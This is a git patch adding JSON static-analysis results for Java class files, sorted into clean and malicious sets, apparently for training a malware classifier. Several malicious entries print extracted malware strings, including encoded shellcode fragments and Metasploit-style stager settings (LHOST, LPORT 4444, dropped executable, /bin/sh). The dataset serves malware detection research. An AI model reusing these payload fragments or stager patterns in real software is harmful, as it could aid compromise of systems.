From 56a1986768f70938ea1295528291dba771d27670 Mon Sep 17 00:00:00 2001
From: David Dorsey <dorsey@visiblerisk.com>
Date: Fri, 16 Jan 2015 22:43:52 -0600
Subject: [PATCH] Java notebook and data

---
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diff --git a/java_classification/data/clean/322596eaee6550d0cc91d1a54cc0a1c3eac4f8fccde473c15eb49d56dbc74df7.results b/java_classification/data/clean/322596eaee6550d0cc91d1a54cc0a1c3eac4f8fccde473c15eb49d56dbc74df7.results
new file mode 100755
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diff --git a/java_classification/data/clean/32a32896ac7e27bfffd8d2fcbd7665919a2e91a0a3581501cf42ac32c5ebecf7.results b/java_classification/data/clean/32a32896ac7e27bfffd8d2fcbd7665919a2e91a0a3581501cf42ac32c5ebecf7.results
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diff --git a/java_classification/data/clean/32bb45d4aa82fb3bbe3b7026447816e987b20d2eb92c7e7471161f83358499bd.results b/java_classification/data/clean/32bb45d4aa82fb3bbe3b7026447816e987b20d2eb92c7e7471161f83358499bd.results
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diff --git a/java_classification/data/clean/33d23b52b58d06e1752a41f4e0c4c8d2b6dd150f0be879daf81b1fa384cc5c43.results b/java_classification/data/clean/33d23b52b58d06e1752a41f4e0c4c8d2b6dd150f0be879daf81b1fa384cc5c43.results
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index 0000000..8abab99
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diff --git a/java_classification/data/clean/345964543dd25119ab0184cab3d843d2029b76b61310b879ce7a0095fa8c7d25.results b/java_classification/data/clean/345964543dd25119ab0184cab3d843d2029b76b61310b879ce7a0095fa8c7d25.results
new file mode 100755
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diff --git a/java_classification/data/clean/3478c65ca07312f9060d2199d9c8fb800d4d921b395f66a98443e4c830fb3d5b.results b/java_classification/data/clean/3478c65ca07312f9060d2199d9c8fb800d4d921b395f66a98443e4c830fb3d5b.results
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diff --git a/java_classification/data/clean/3585bc3693e14aee7215de51d479fdaf7daa497368861170660e6e66acbe2d4a.results b/java_classification/data/clean/3585bc3693e14aee7215de51d479fdaf7daa497368861170660e6e66acbe2d4a.results
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diff --git a/java_classification/data/clean/35a4c2e7677a20f402eaf9f88e3116109915b4ed950b29154c31953eb4bcf695.results b/java_classification/data/clean/35a4c2e7677a20f402eaf9f88e3116109915b4ed950b29154c31953eb4bcf695.results
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diff --git a/java_classification/data/clean/36751f6b056146175198f83c695e4f4b873f854b073e168f2a91a80391625205.results b/java_classification/data/clean/36751f6b056146175198f83c695e4f4b873f854b073e168f2a91a80391625205.results
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diff --git a/java_classification/data/clean/36a8065fbff5801248cefacc0a9100343b21f85e2f220ac90bfaf9247afad5c9.results b/java_classification/data/clean/36a8065fbff5801248cefacc0a9100343b21f85e2f220ac90bfaf9247afad5c9.results
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diff --git a/java_classification/data/clean/37254623003627c431b8138aa5a1e5821d87364c8fe6f31e4d5de264dff084ac.results b/java_classification/data/clean/37254623003627c431b8138aa5a1e5821d87364c8fe6f31e4d5de264dff084ac.results
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diff --git a/java_classification/data/clean/374251a63e6b722468fde0b96d3351c67cd2888f93d17174db338a38ca75717d.results b/java_classification/data/clean/374251a63e6b722468fde0b96d3351c67cd2888f93d17174db338a38ca75717d.results
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diff --git a/java_classification/data/clean/37af1a8dafa065a605a50481aca50d7577bba7e5cb007ae36ca28adaab7cfd32.results b/java_classification/data/clean/37af1a8dafa065a605a50481aca50d7577bba7e5cb007ae36ca28adaab7cfd32.results
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diff --git a/java_classification/data/clean/383504565dd80ca98ee8c5a5b85315e133123972bedb5ddb0abfa6427fd01022.results b/java_classification/data/clean/383504565dd80ca98ee8c5a5b85315e133123972bedb5ddb0abfa6427fd01022.results
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diff --git a/java_classification/data/clean/3a49aa0c09da14021400db76007f4f8fa4dba0f6ac8b07ed5fecfdc81e5fb704.results b/java_classification/data/clean/3a49aa0c09da14021400db76007f4f8fa4dba0f6ac8b07ed5fecfdc81e5fb704.results
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diff --git a/java_classification/data/clean/3b1c8c7f65c1d0139181cdc5e65026928bff42be928c4a1e72cd2e163208ccf2.results b/java_classification/data/clean/3b1c8c7f65c1d0139181cdc5e65026928bff42be928c4a1e72cd2e163208ccf2.results
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diff --git a/java_classification/data/clean/3c7893527cb32f6714bf340778febc5cea99ae7c1d9061f47b17b3fc919d03eb.results b/java_classification/data/clean/3c7893527cb32f6714bf340778febc5cea99ae7c1d9061f47b17b3fc919d03eb.results
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diff --git a/java_classification/data/clean/5245e61cb735167c6dce7f1eca152d671b2bc824f07e5edf50de0fad1076c6a5.results b/java_classification/data/clean/5245e61cb735167c6dce7f1eca152d671b2bc824f07e5edf50de0fad1076c6a5.results
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diff --git a/java_classification/data/clean/52bb307bb5485d665bcd079a3f4664e2a5e6af1e8170fb92fee84a9c8739c052.results b/java_classification/data/clean/52bb307bb5485d665bcd079a3f4664e2a5e6af1e8170fb92fee84a9c8739c052.results
new file mode 100755
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diff --git a/java_classification/data/clean/d1c4b5aec2040a7109de19d19b4364c2cf71d7f094c8092b9d599eab1abd50d4.results b/java_classification/data/clean/d1c4b5aec2040a7109de19d19b4364c2cf71d7f094c8092b9d599eab1abd50d4.results
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diff --git a/java_classification/data/clean/d238963b08c2e4cf6c792f2dab7f4d56dd5d82e4c800f26290f0781b7263f030.results b/java_classification/data/clean/d238963b08c2e4cf6c792f2dab7f4d56dd5d82e4c800f26290f0781b7263f030.results
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diff --git a/java_classification/data/clean/d328fa9bb3dc3df5a610a921a887985c886b9b04c7fcf91e93b0d08047f11db3.results b/java_classification/data/clean/d328fa9bb3dc3df5a610a921a887985c886b9b04c7fcf91e93b0d08047f11db3.results
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diff --git a/java_classification/data/clean/d39b78c767585a96f66abe55118cacea91caaee747aeb6fb8184fbabb199648c.results b/java_classification/data/clean/d39b78c767585a96f66abe55118cacea91caaee747aeb6fb8184fbabb199648c.results
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diff --git a/java_classification/data/clean/d3aba45259eebfc7a5bcf3682671cd444b13ddcba365257d8b2a19598e55d491.results b/java_classification/data/clean/d3aba45259eebfc7a5bcf3682671cd444b13ddcba365257d8b2a19598e55d491.results
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diff --git a/java_classification/data/clean/fe170182e6813b562edaa506762e4ffe61c5a07090004f7f5fb73a5541791e19.results b/java_classification/data/clean/fe170182e6813b562edaa506762e4ffe61c5a07090004f7f5fb73a5541791e19.results
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diff --git a/java_classification/data/clean/ff704fc855c99bbe379b45e561848da5c7322ac92ab8cb275175a839549a4c97.results b/java_classification/data/clean/ff704fc855c99bbe379b45e561848da5c7322ac92ab8cb275175a839549a4c97.results
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diff --git a/java_classification/data/clean/ffd5976656a8b23d88349f6c1eca8c21c16a91ffeeb257de9e3447dacd7b94d9.results b/java_classification/data/clean/ffd5976656a8b23d88349f6c1eca8c21c16a91ffeeb257de9e3447dacd7b94d9.results
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diff --git a/java_classification/data/malicious/000f9556494984b9309e6d028309c01f863a3b572932a25e0e99b7346b89f829.results b/java_classification/data/malicious/000f9556494984b9309e6d028309c01f863a3b572932a25e0e99b7346b89f829.results
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diff --git a/java_classification/data/malicious/009ea625b27f4d667fe7e287e1c42a196a0280da9ec60bafc48220b3a8497f07.results b/java_classification/data/malicious/009ea625b27f4d667fe7e287e1c42a196a0280da9ec60bafc48220b3a8497f07.results
new file mode 100755
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diff --git a/java_classification/data/malicious/01085efcb59f4d1108b8283ec6d34f42e89802a73403291787ba827a7e19d4e9.results b/java_classification/data/malicious/01085efcb59f4d1108b8283ec6d34f42e89802a73403291787ba827a7e19d4e9.results
new file mode 100755
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diff --git a/java_classification/data/malicious/02ac5d3e20cbe8beaa59af1ce4295a5c3487e63c7cc879378cf5b58bbcd38b70.results b/java_classification/data/malicious/02ac5d3e20cbe8beaa59af1ce4295a5c3487e63c7cc879378cf5b58bbcd38b70.results
new file mode 100755
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+++ b/java_classification/data/malicious/02ac5d3e20cbe8beaa59af1ce4295a5c3487e63c7cc879378cf5b58bbcd38b70.results
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diff --git a/java_classification/data/malicious/03504d2f6eae983748db25664b0bbf2879f26af67131dccd7fc6e09b8e4e2cba.results b/java_classification/data/malicious/03504d2f6eae983748db25664b0bbf2879f26af67131dccd7fc6e09b8e4e2cba.results
new file mode 100755
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diff --git a/java_classification/data/malicious/03ff87f0e6615ba9ab5b17758eb873ed62c157bf0e685e91d3dae1c98cd3662e.results b/java_classification/data/malicious/03ff87f0e6615ba9ab5b17758eb873ed62c157bf0e685e91d3dae1c98cd3662e.results
new file mode 100755
index 0000000..25591d2
--- /dev/null
+++ b/java_classification/data/malicious/03ff87f0e6615ba9ab5b17758eb873ed62c157bf0e685e91d3dae1c98cd3662e.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/040696957e88168e4baf2f3827b24589405346c76b40811296d183d890e9372c.results b/java_classification/data/malicious/040696957e88168e4baf2f3827b24589405346c76b40811296d183d890e9372c.results
new file mode 100755
index 0000000..e0ee4f4
--- /dev/null
+++ b/java_classification/data/malicious/040696957e88168e4baf2f3827b24589405346c76b40811296d183d890e9372c.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "c546134b-79d7-4815-a7ee-6a81d5a734d8", "verbose": {"java": {"JAVA String Analysis": {"files": [{"_id": "b54c4043-b1b2-42e4-8f22-809624368b9f", "metadata": {"mimetype": "text/plain", "sha1": "80ce2afcb456198bac3bd73a19e7fb95c5725f6d", "file_name": "long string 0", "_id": "b54c4043-b1b2-42e4-8f22-809624368b9f", "score": 0, "entropy": 4.7591687024895934, "libmagic": "ASCII text, with very long lines, with no line terminators", "file_size": 1259, "ssdeep": "24:miH8QmmKybOs90Lhv4PKNQv4RudjYEk8M7hiGWyYCAcl0:mIUyb3Fn4GlW78GWyYk0", "sha256": "b09d01748ba29a170c8124cca2f804d7db61ab851de99e55cf0e27c17caa8987", "md5": "eda82a7dbb687a6bee1e470b9dd4f135", "parent_sha256": "040696957e88168e4baf2f3827b24589405346c76b40811296d183d890e9372c"}}], "combined strings entropy": 4.7982205630443024}, "constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,Il,Pl,Pl,Pn,pj,0z,0l,PN,p8,ik,Ks,0W,pE,PS,oU,49,1P,0G,pG,pg,pl,KQ,P4,Ll,K2,P7,lL,mN,k5,87,PO,pc,Mv,l4,sT,4v,cN,vz,KL,3N,kq,xg,xn,ky,gs,ZC,4F,9X,hL,O7,p7,pS,0M,2K,Iq,x0,op,nW,pE,P2,HD,54,2b,LP,m2,tk,OR,6L,KJ,HI,xp,ye,Pg,ps,0L,Kj,wq,Wo,pW,OC,0R,UY,ja,Wp,WR,gk,07,Oe,PQ,eZ,ZN,kz,O1,OU,ci,Yn,aJ,LT,Dg,qS,0u,PL,K9,Lb,qP,Rv,3C,XV,dE,QW,pG,pk,OP,V4,Lq,JQ,IB,qp,RL,KT,B3,cP,Cm,PE,kC,0q,ej,Zm,Q3,K9,lv,Ns,Ud,8C,UP,uW,sM,SX,kv,hn,iC,3X,GW,33,4t,nU,5Q,he,5O,6s,sW,xE,Pq,Kn,jJ,ae,Td,po,x7,5g,pd,sO,0B,pr,pp,SC,gr,pK,O0,Vv,pM,Sz,XW,p2,Uf,fS,Ze,Q3,cY,o2,vW,tq,Jf,9o,sZ,bu,T3,qo,p6,Z5,Pq,en,TK,O2,vd,HF,1R,vL,Kp,uU,ll,Ks,Dt,uD,8W,sk,EP,Vl,K3,FU,pv,cI,ep,3h,Ic,yw,1N,M6,co,5w,CI,Kt,Om,n6,pF,Xz,RP,tt,HZ,aZ,kT,MU,SK,jq,PX,ky,ag,KW,o3,Ek,W1,NN,ka,NU,tS,3y,MQ,vl,KT,L0,Kl,Kq,NU,LU,Sk,ml,KV,dl,Kg,sK,un,Ks,nv,9I,SJ,HE,PK,OK,OK,On,nP,Nf,nH,lZ,8K,NL,J6,nq,nz,xM,23,C6,SK,zL,Jc,kp,6f,zV,OP,pr,NP,Mr,oV,5r,mV,9T,0P,TS,Up,S0,tr,Cu,PR,HB,TB,Tp,pW,JV,Od,or,F1,yR,Kr,Op,qS,TT,nu,9b,Nc,Vp,oT,o2,CP,gC,Yf,Mu,2C,Yr,Nv,O2,Qr,OV,Op,np,0V,PP,at,qV,Pp,6u,bf,Pd,qt,sf,QT,xP,r6,Pd,pd,q6,Y0,Jv,PQ,rv,Pp,04,pV,VD,pv,QB,rS,UR,Fv,TE,3U,bc,RV,V5,er,xt,uP,d0,0d,v3,Q3,Tr,FV,Vv,9F,Qt,vP,dp,a4,wq,tT,tU,cR,zd,pp,1T,pt,pu,6F,Pe,hf,Pu,Pw,pA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e013fce5066c39cc8a974e0050bfb7f74f08053e", "file_name": "java_malicious/040696957e88168e4baf2f3827b24589405346c76b40811296d183d890e9372c", "_id": "c546134b-79d7-4815-a7ee-6a81d5a734d8", "score": 0, "entropy": 5.994435288085265, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3069, "ssdeep": "48:4vVk0yFlVMIUyb3Fn4GlW78GWyYks5GUFwIsFlXRkHccQjtZtgobKqgs5qxpJ:hFFl91ry6RxC92XQjt9bKsCn", "sha256": "040696957e88168e4baf2f3827b24589405346c76b40811296d183d890e9372c", "md5": "8922fd56eff97e0880ec86b48af82d00", "parent_sha256": "040696957e88168e4baf2f3827b24589405346c76b40811296d183d890e9372c"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/04fafac2b591269935dbfd5a85012a3bc54e956b2d6863135cbc0a5136dd044c.results b/java_classification/data/malicious/04fafac2b591269935dbfd5a85012a3bc54e956b2d6863135cbc0a5136dd044c.results
new file mode 100755
index 0000000..8a0fdfb
--- /dev/null
+++ b/java_classification/data/malicious/04fafac2b591269935dbfd5a85012a3bc54e956b2d6863135cbc0a5136dd044c.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "mNIJnGIOkm/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "995bf728-bc14-40fc-b439-aa3606b0d93e", "verbose": {"java": {"constant strings": ["mNIJnGIOkm.Payload", ".class", "/mNIJnGIOkm.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "mNIJnGIOkm.dat", "URL", "", "https:", "mNIJnGIOkm/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "mNIJnGIOkm/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "mNIJnGIOkm.PayloadTrustManager", "useFor", "java.net.URLConnection", "mNIJnGIOkm.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javavzmWcyD.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "dcf8db73471e0f626561e3fae4d2b6f5e6da16c8", "file_name": "java_malicious/04fafac2b591269935dbfd5a85012a3bc54e956b2d6863135cbc0a5136dd044c", "_id": "995bf728-bc14-40fc-b439-aa3606b0d93e", "score": 0, "entropy": 6.144724536220613, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMrDUB3+WhBThmgxxsIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1t13DtmMINvpvUrKYvCkgHzbDrDF", "sha256": "04fafac2b591269935dbfd5a85012a3bc54e956b2d6863135cbc0a5136dd044c", "md5": "79906ed8be52ba8a0c64d3587da76b8f", "parent_sha256": "04fafac2b591269935dbfd5a85012a3bc54e956b2d6863135cbc0a5136dd044c"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/04fb0b1b70561747536c345b8839ed94944f038adf64ce8b3f69a9e9b6904bc4.results b/java_classification/data/malicious/04fb0b1b70561747536c345b8839ed94944f038adf64ce8b3f69a9e9b6904bc4.results
new file mode 100755
index 0000000..479e29a
--- /dev/null
+++ b/java_classification/data/malicious/04fb0b1b70561747536c345b8839ed94944f038adf64ce8b3f69a9e9b6904bc4.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "chspSxY.java", "class_name": "aHrMCrboe/chspSxY", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "tgznSIAR"], "minor_version": 0, "const_pool_count": 116}}, "_id": "b5ecc50a-2606-44a2-80cc-d6eedfbc65be", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.555989429073192}, "constant strings": ["$/8/`=+-;<\\':7`\\x0f\"\"\\x1e+<#\\'==\\'! ", "$/8/`=+-;<\\':7`\\x1e+<#\\'==\\'! =", "/**", "$/8/`=+-;<\\':7`\\x1e+<#\\'==\\'! ", "$/8/`=+-;<\\':7`-+<:`\\r+<:\\'(\\'-/:+", "$/8/` +:`\\x1b\\x1c\\x02", "$/8/`=+-;<\\':7`\\r!*+\\x1d!;<-+", "$/8/`=+-;<\\':7`\\x1e<!:+-:\\'! \\n!#/\\' ", "$/8/`=+-;<\\':7`\\x1e+<#\\'==\\'! \\r!\"\"+-:\\'! ", "6\"-8\\x16\\x064", ";<\"", "/>>\"+:\\x11-\"/==", "newInstance"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "90c3908113f88edaa328bdc292c404c36e0d9b83", "file_name": "java_malicious/04fb0b1b70561747536c345b8839ed94944f038adf64ce8b3f69a9e9b6904bc4", "_id": "b5ecc50a-2606-44a2-80cc-d6eedfbc65be", "score": 0, "entropy": 5.942812423438524, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2606, "ssdeep": "48:M2rTyFlQq3Fkjy2wgk3zpo5PuCY1lliFsTgMqoRTiiSS:PqFlQ4kjNwh65PuxuufxZp", "sha256": "04fb0b1b70561747536c345b8839ed94944f038adf64ce8b3f69a9e9b6904bc4", "md5": "bb53a4a06e1bdaf89fa60a1d43263a8b", "parent_sha256": "04fb0b1b70561747536c345b8839ed94944f038adf64ce8b3f69a9e9b6904bc4"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/05674baf591ca8b9300f79d8c70664dd208289b9331d931d8fd905dfe0427e7a.results b/java_classification/data/malicious/05674baf591ca8b9300f79d8c70664dd208289b9331d931d8fd905dfe0427e7a.results
new file mode 100755
index 0000000..2fa09bd
--- /dev/null
+++ b/java_classification/data/malicious/05674baf591ca8b9300f79d8c70664dd208289b9331d931d8fd905dfe0427e7a.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "a4f8acf8-baf3-4c25-938b-f6dafb54517d", "verbose": {"java": {"JAVA String Analysis": {"files": [{"_id": "9502be64-919c-4581-9d54-a637fba38780", "metadata": {"mimetype": "text/plain", "sha1": "9df0ee20004355e7f926feaf28ae3dde3d878c4d", "file_name": "long string 0", "_id": "9502be64-919c-4581-9d54-a637fba38780", "score": 0, "entropy": 4.735469170403179, "libmagic": "ASCII text, with very long lines, with no line terminators", "file_size": 1322, "ssdeep": "24:miP0oxs8uOwhpKS2C4U6dmPty6czTWGQjXld7clOgR7IIMQnw9fRJqLG:mMPUOyh2Y6dhuzY2qIv", "sha256": "c7db8b100dbe80635f2b3ddedee585b0e1ec52a7edf008aa8383b89750da1176", "md5": "94ceda5d12e503bd84e49e1b338af2e3", "parent_sha256": "05674baf591ca8b9300f79d8c70664dd208289b9331d931d8fd905dfe0427e7a"}}], "combined strings entropy": 4.77567609043573}, "constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pn,pN,pL,PN,pL,PJ,0L,PZ,0n,pJ,HU,Pw,pW,pW,p8,kS,0Y,yy,lE,Pe,P5,PS,oe,4Y,1F,Pg,pW,p7,pP,xV,ln,kC,pD,LL,KB,Pe,Ln,ML,K2,HW,xZ,Ks,9n,kW,0p,4L,Mw,0q,ll,KU,85,lL,K9,gr,Jt,DQ,IZ,HL,O3,07,pW,pk,Rk,IC,Xb,O0,nW,p7,p0,hp,uP,r2,LP,mR,tK,Ot,Vl,KK,XK,Xs,Iu,Pw,pU,PL,Ky,G1,Wk,0W,Os,0P,uK,Jw,7V,7c,wM,Pg,Ow,p2,Uk,Jn,kJ,OQ,OP,3k,yk,1z,L3,47,qe,Pg,pn,kY,Ls,ap,R1,Ce,8U,TC,1w,pS,0K,OP,VD,LQ,Jr,yV,1C,bN,k3,2B,sw,3O,pg,Ku,PR,Uk,Jm,Q3,KK,Lv,NE,5d,83,UQ,eS,3M,Sz,KT,Hm,Yu,Sk,wQ,SD,D6,NS,Up,x3,Uo,6c,sw,x3,0C,kO,zK,qv,dP,0M,Xa,UW,p5,ck,pP,PP,PB,sb,wv,0i,oV,6f,pO,sj,Xw,pt,5U,VC,ZE,Qs,cK,OQ,FC,43,jF,9N,cJ,bW,tQ,Qm,P7,JW,pQ,eM,dK,Ob,v7,xr,qQ,FL,Ka,e7,LN,k2,Tf,NQ,hV,c8,uP,Vl,K2,VG,P3,3K,E6,Sy,Yq,Y7,1l,ms,3o,5p,3y,KV,oO,Nd,PT,zj,v1,dw,xO,1X,Kt,Me,SY,JQ,PZ,KL,1g,KW,oa,eY,wq,Nl,K3,nW,TD,CK,mE,6N,k6,lb,kn,kc,n5,Ls,3K,ml,K6,dL,Kc,3J,el,kq,N0,YO,3Y,xI,oK,NK,OK,On,nr,nT,NX,ll,XK,No,zF,n1,nn,8z,Bt,37,CK,zL,Jq,Kt,vT,ZF,Op,pp,x0,e1,hB,KS,0P,hs,DP,tp,pv,ZV,Ot,or,CE,1t,40,fP,lP,o3,GC,UC,BS,QP,rp,tD,nr,Cp,or,MV,OR,Ns,U3,G0,s6,Or,M3,QP,rc,SC,XF,NC,XP,tP,mB,Lt,o0,nd,pT,p5,hf,Qd,pe,f0,2V,PV,Qd,se,aF,XP,rV,Pv,Tv,PF,Y0,JV,P0,bP,04,pv,PF,VP,0T,qR,rp,fu,ft,uP,e1,rv,Ra,tW,GS,gP,fg,Gq,vt,xd,tV,T1,td,yr,xS,R0,0C,UT,r4,pU,iS,QV,PR,yu,6r,BV,UF,VS,TQ,rE,60,a1,Jv,Pv,Qt,pv,Pe,6v,PT,wt,p5,PU,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c598933840cade6f0aef0b7b8edffbdf865fdffc", "file_name": "java_malicious/05674baf591ca8b9300f79d8c70664dd208289b9331d931d8fd905dfe0427e7a", "_id": "a4f8acf8-baf3-4c25-938b-f6dafb54517d", "score": 0, "entropy": 5.9845412030120695, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3132, "ssdeep": "48:4vVk0yFloMPUOyh2Y6dhuzY2qIH5GUFwIsFlXRkHccQjtZtgobKqgs5qxpJ:hFFlLPTyhic8wRxC92XQjt9bKsCn", "sha256": "05674baf591ca8b9300f79d8c70664dd208289b9331d931d8fd905dfe0427e7a", "md5": "21b6f4adf212f8eb4209f51bbe30c579", "parent_sha256": "05674baf591ca8b9300f79d8c70664dd208289b9331d931d8fd905dfe0427e7a"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/05bb47334f89813c0612e5a343c67a32b4da8d10e08a9681a063e0eabed37b5d.results b/java_classification/data/malicious/05bb47334f89813c0612e5a343c67a32b4da8d10e08a9681a063e0eabed37b5d.results
new file mode 100755
index 0000000..2555f8d
--- /dev/null
+++ b/java_classification/data/malicious/05bb47334f89813c0612e5a343c67a32b4da8d10e08a9681a063e0eabed37b5d.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "OSrAfQWThe/SHLeanN", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "69cf2b21-cf6c-4c61-822e-f8655a93fa4b", "verbose": {"java": {"constant strings": ["OSrAfQWThe.SHLeanN", ".class", "/OSrAfQWThe.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "OSrAfQWThe.dat", "URL", "", "https:", "OSrAfQWThe/SHLeanNTrustManager.class", "SHLeanNTrustManager.class", "AESPassword", "OSrAfQWThe/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "OSrAfQWThe.SHLeanNTrustManager", "useFor", "java.net.URLConnection", "OSrAfQWThe.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "SHLeanN -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ec3875f662df3dc89760a299072b9ed9ea95403f", "file_name": "java_malicious/05bb47334f89813c0612e5a343c67a32b4da8d10e08a9681a063e0eabed37b5d", "_id": "69cf2b21-cf6c-4c61-822e-f8655a93fa4b", "score": 0, "entropy": 6.141318713047834, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMPDUBk+Ws2GThmYyIxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrB:gmO1ttkmtmkyNvpvUrKYvCkgHzbDrDF", "sha256": "05bb47334f89813c0612e5a343c67a32b4da8d10e08a9681a063e0eabed37b5d", "md5": "8ab3d1d38d501baf78ba8fec609cab7c", "parent_sha256": "05bb47334f89813c0612e5a343c67a32b4da8d10e08a9681a063e0eabed37b5d"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/06128c29293675df1bf08371df7a5911ddd6f86e82b30d5f1445851bfbc9ed6c.results b/java_classification/data/malicious/06128c29293675df1bf08371df7a5911ddd6f86e82b30d5f1445851bfbc9ed6c.results
new file mode 100755
index 0000000..936ea8a
--- /dev/null
+++ b/java_classification/data/malicious/06128c29293675df1bf08371df7a5911ddd6f86e82b30d5f1445851bfbc9ed6c.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/062bea4830eedb39a84fc6f0ccc3a9ace3aba9143ae032484a7c41af2fa51b63.results b/java_classification/data/malicious/062bea4830eedb39a84fc6f0ccc3a9ace3aba9143ae032484a7c41af2fa51b63.results
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new file mode 100755
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+++ b/java_classification/data/malicious/08a7aa8b1c58e23c0543a8db279d687a477ef603fec5c6151a7afd2369d442c7.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "dae3ed69-b7eb-45b7-a5c1-0adac88c579b", "verbose": {"java": {"JAVA String Analysis": {"files": [{"_id": "adec0f94-7374-4315-a820-645f6b103df1", "metadata": {"mimetype": "text/plain", "sha1": "6a9216730c79ba2ce15d24dd48ccbc692530776c", "file_name": "long string 0", "_id": "adec0f94-7374-4315-a820-645f6b103df1", "score": 0, "entropy": 4.732786977221173, "libmagic": "ASCII text, with very long lines, with no line terminators", "file_size": 1334, "ssdeep": "24:mifCRiTxdFd1aOJ865qtjdwXFkMDY6LRFVe03+J3xW7yy3w0JjWPkdPeaZNE:mB28nAXKKY6jVPmW7ykwIfE", "sha256": "504acb8fbc277bfcb11bc2dbc1ac1f90390822d8fc73c814d27f0ac0bcbd4ef7", "md5": "1ca977abca18d4d641baf7ad234d9941", "parent_sha256": "08a7aa8b1c58e23c0543a8db279d687a477ef603fec5c6151a7afd2369d442c7"}}], "combined strings entropy": 4.775091199264371}, "constant strings": 